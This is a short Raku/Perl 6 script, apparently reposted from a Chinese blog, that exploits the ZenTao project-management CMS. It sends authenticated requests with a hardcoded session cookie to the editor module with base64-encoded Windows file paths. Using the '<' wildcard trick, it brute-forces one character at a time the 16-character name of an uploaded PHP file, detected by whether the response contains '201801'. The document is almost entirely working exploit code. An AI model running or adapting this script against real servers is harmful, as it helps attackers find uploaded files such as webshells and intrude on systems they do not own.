禅道CMS 获文件名脚本

use Net::HTTP::GET;
use Base64;

my %header   = :Cookie<lang=zh-cn; theme=default; lastProduct=2; windowWidth=1855; windowHeight=532; sid=jg9g2mk5kmru46lmd3g2evoc87>;
#my $response = Net::HTTP::GET("http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=YzpccGhwc3R1ZHlcV1dXXHplbnRhb3Btc1x3d3dcZGF0YVx1cGxvYWRcMVwyMDE4MDFcMDwucG5n&action=override&isExtends=", :%header);
#say so $response.content :force ~~ /201801/;
my $url = 'http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=';
my $end_url = '&action=override&isExtends=';


my @check_chars = |('a'..'z'),|('0'..'9');
#保存文 件名 16位
my @filename;

for 1..16 -> $length {
  say "------->$length";

      for @check_chars -> $swap_char {
              my $target;
              my $char = @filename.join('')~$swap_char;
              say $char;
              #sleep(2);
              if $char.chars == 16 {
                $target = $url~encode-base64('c:phpstudyWWWzentaopmswwwdataupload1201801\'~$char~'.php',:str)~$end_url;
              } else {
                $target = $url~encode-base64('c:phpstudyWWWzentaopmswwwdataupload1201801\'~$char~'<.php',:str)~$end_url;
                #>
                #>>>>>>>>>
                # a+('>' x 15).php => a>>>>>>>>>>>>>>>.cellspacing
                #a*.png => 
              }
              #sleep(1);
              say $target;
              #sleep(2);
              my $html = Net::HTTP::GET($target, :%header);

              if so $html.content :force ~~ /201801/ {
                  @filename.append($swap_char);
                  last;
              }

      }
}
say "Found -----> "~@filename.join('');
原文地址:https://www.cnblogs.com/perl6/p/8207492.html